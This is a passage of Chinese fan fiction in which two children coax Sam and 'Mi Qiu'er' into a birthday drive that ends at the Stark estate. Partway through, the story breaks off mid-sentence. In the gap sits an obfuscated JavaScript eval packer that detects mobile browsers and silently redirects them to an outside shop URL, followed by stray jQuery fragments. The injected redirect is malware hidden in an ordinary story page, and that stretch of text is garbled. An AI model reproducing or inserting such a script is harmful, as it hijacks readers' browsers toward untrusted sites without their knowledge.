追到车库前，塞姆看着面前紧闭的自动门，缓缓停下脚步。他不得不对道林打出个问号，道：
“多瑞？”
道林摁灭开关，和海莉一左一右下了车，笑得乖巧，说：
“带我们出去兜兜风吧，塞姆。就我们四个，作为我们之间的小秘密，谁也不告诉。”
塞姆摇头，说：
“你知道我不能这么做，多瑞。我不能在没有克莱尔他们的允许下，单独带你和海莉出去。”
道林说：“但有米球儿在，所以不算单独。”
米球儿错愕地指向自己，说：
“我？不，没这个可能，我不干。”
道林一跺脚，不满道：
“为什么？！我们想去外面玩。”
米球儿狐疑地看向另一边，说：
“海莉？”
海莉说：“我......”
道林蜷起胳膊肘朝身侧轻轻一捅，海莉瞬间像从短路恢复正常的机器人，说：
“对，我也要出去玩，这里实在是太无聊了。”
塞姆蹲下身子，说：
“这可是你第一次来哦，younglady。你真的确定，自己已经把整个房子都探索完了？”
海莉下意识攥紧道林的手，憋着气猛地道：
“多瑞要出去玩，我也要出去玩。”
道林瞪大眼睛震惊道：
“海莉！”
米球儿走上前严肃叫道：
“道林。”
道林嘟着嘴，蹙眉眨着马上要占了一半脸的大眼睛，急得脚下像安了弹簧，蹦跶着说：
“米球儿舅舅，please，就在附近转一转嘛~”
他又转向塞姆，说：
“好不好，塞姆~”
海莉也赶忙来凑热闹，来回搓着两只小手，央求道：
“好不好嘛，米球儿舅舅~”
一声过后是又一声更软的请求，叫米球儿和塞姆感觉，自己是在做什么十恶不赦的大事。小鬼们配合地默契，插不进一丝思考的空间，等两道磨人声音消停时，米球儿和塞姆已经分不清，究竟是谁先点了头。
震天响的欢呼声中，两人一个无奈摊手，一个无奈抿嘴，相顾无言。默契的一个背身掏出手机，一个对着道林和海莉约法三章。塞姆这边握住道林的手臂，那边的食指在两人间不停移动，说：
“首先，不会去很远。”
道林点头如甩头，连忙说：
“当然。”
塞姆又说：
“我们很快就回来。”
道林却停下脑袋，问：
“很快是多快？”
塞姆瘪了瘪嘴，挺着脖子，提高了声音道：
“很快是多快？”
然而直到海莉又问了一遍，身后依旧毫无反应。
塞姆只能回望着道林不容拒绝的奇异大眼睛，说：
“最起码，至少，最好，要在唱生日歌前回来，好吗？毕竟今天是你们两个的生日会，总不能一会儿吹蜡烛时，我们的主角却不在。”
海莉说：“我喜欢吹蜡烛。”
道林没说话，但也是在一旁赞同的直点头。
塞姆也去打电话去了，是在找本杰明拿钥匙。目标达成，只剩等待，道林一时有些无所事事。招呼着海莉重新上了他们自己的车，道林重新启动小汽车，开始带着海莉原地兜圈子。
一开始两人还是尝试画尽可能大的圆圈，可后来画着画着，圈子的大小只够刚刚把米球儿和塞姆画进一个圈里。在终于等来本杰明和车钥匙后，海莉缓缓从车上挪下来，只感觉天和地都在转圈圈。
本杰明来时还多带了两个人，以及邓菲家的车钥匙。等着那两人从菲尔的车上卸儿童座椅，又装到塞姆那辆宝马540i（E34）上的时间，他来到塞姆身边，微微躬身道：
“抱歉，少爷。是我的失误，我应该早些察觉到这处漏洞的。”
塞姆随意一摆手，并未分给对方半个眼神，说：
“抓紧让人买来。”
本杰明说：“是。”
另一边，米球儿就站在塞姆和本杰明的不远处。他直视着前方，道林和海莉在草地上玩着双人叠叠乐正在兴头。余光和注意力开始偏移，米球儿却全然被距离更近的塞姆和本杰明吸引。将两人对话尽收于耳，他缓慢又无声地冷哼一句，隐蔽地翻了个白眼。
两把儿童座椅同时开工，虽然佣人手法称不上熟练，但总体也没花太多时间。再三确认道林和海莉的防护有效，塞姆松开手刹，看着后视镜里的本杰明逐渐小得再也看不见。
蓝银色的车缓慢行驶在社区的路上，塞姆不由朝后座问道：
“我们去哪儿？”
一时间，三双眼睛或是直接、或是间接的齐刷刷望向道林。道林却平静问道：
“你知道，谁家有红色的车吗？”
塞姆不由皱了皱眉，说：
“红色的车？”
道林说：“对。红色的，能开的超快的车。就像是闪电一样快。”
米球儿用手肘撑着椅背，侧身回头望着道林，问：
“多瑞，你找这种车做什么？”
道林只说：
“我有些事要找他。”
塞姆一边开始掉转车头，一边说：
“听起来，不像是绝大多数人会开的车。”
米球儿说：“听起来更不像绝大多数人会做的事。”
海莉问：“所以我们现在是要去找车嘛？”
塞姆说：“我确实有几个猜测。”
道林闻言，一锤定音道：
“那就让我们挨个去会一会吧。”
四人一路向上，走走停停。道林和海莉手里的小礼物，从第一家的姜饼人，到下一家的拐杖糖。从下一家金额不大的红包，到下下家原本挂在圣诞树上的圣诞圆球。汽车依旧在不停的往上走，但道林已经好久都没见有新的房子。
他最后舔了舔黏糊糊、已经化在手心的糖，心不在焉地问：
“还没有到吗？塞姆。”
米球儿顺着声音回头看去，顿时像老鼠看见猫，像克莱尔看见迪迪，像美国人看见IRS（美国国税局），也不在乎塞姆正在开车与否，只一个劲儿得拍打对方的手，背对着挡风玻璃大叫道：
“湿巾，湿巾在哪儿？塞姆！”
道林见状眼前一亮，虽然身上还有安全带桎梏着，但照旧朝米球儿张开双手。从米球儿的视线看过去，上面甚至还有干涸的、反着光的糖渍。
米球儿凄惨地叫着：</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642854|205941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“NO，NO，NO！”
道林无辜又带着期盼，张手望着斜对角的米球儿，海莉仰头笑成公鸡，米球儿仍在锲而不舍地拍打塞姆。作为全车目前来讲唯一的“成年人”，塞姆本着为四人生命安全负责的念头，顶着充血的手背，靠着单侧后视镜，稳当当将车停到路边。
望着车顶，挤出抬头纹，即使塞姆并不信仰上帝，但此时此刻，任谁在他这个位置，也不得不在心底高呼一声，“上帝啊！”。
深吸一口气，塞姆也只能默默低头，来处理这副原本地狱才能见得的光景。解开安全带，扒拉开米球儿，从副驾驶前的抽屉里拿出包抽纸，下车去后备箱拿了两瓶水。其中一瓶扔给米球儿，又拧开手里这瓶，缓缓浸湿厚厚一层、大概要五六张三层厚的纸巾，来到后排，先给道林从手心到指缝里外擦了一遍，接着重施故技，走到另一边给海莉也收拾干净。
这段时间说短不短，但说长，来回路上又不见一辆路过车辆。等塞姆重新系上安全带时，米球儿也终于稳下心神，打开手里AcquaPanna小口啄饮，望着窗外光秃秃的山坡，说：
“之前没看出来，你还挺适合当爸爸的。”
汽车重新行驶在马路上，塞姆示意着米球儿重新将抽纸塞回抽屉里，边专注盯着前路，边莫名来了句：
“再差也差不到哪儿去了。”
米球儿不由睁大几分眼，车里霎时间安静不少。但没过多久，一角嵌在土黄和草绿间规整平滑的白色，在转过弯后，出现在众人视线。
塞姆解释说：
“听父亲说，当年斯塔克们决定定居西海岸时，直接买了整个山顶。所以其实刚刚从半山腰开始，这一片都属于斯塔克们的私人领地。”
米球儿不免直起身子，问：
“那我们现在？”
塞姆说：“虽然是私人领地，附近有一座机场，是父亲当年代表社区和斯塔克协商出来的。由社区负责搭建、运行，斯塔克只需要出地方，他们拥有永久优先使用权，但主要是我们也能节省时间，算是双赢。”
米球儿也不免有些职业病，又问了嘴道：
“算谁的？”
塞姆一撇嘴，说：
“建在人家地盘上的建筑，自然是算人家的喽。”
米球儿咬着牙，说：
“万恶的资本家。”
塞姆像看特殊人士一样，瞥了眼义愤填膺的米球儿，说：
“少爷，你自己想体验普通人的生活，想与民同乐，不代表你就不是我们律所的客户了，好吗？”
米球儿张大了嘴，假笑推脱，说：
“不，不不，我就，我就是个普通人。”
塞姆像哄海莉一样，随意点头应道：
“对，你说得对。普通人的家里，会有一抽屉Gelson's的原色牛皮纸袋，还有满满一柜子的骆马毛衣服。说到底，咱俩也没什么不一样，不是吗？”
米球儿只能干巴巴道：
“我，我才不是你的客户，我自己就是律师。”
塞姆倒是十分赞成，诚心实意道：
“确定。毕竟环保法律师也不在我的潜在客户名单上。”
米球儿朝天翻了个巨大的白眼，但什么也没说，因为他们已经看到大门了。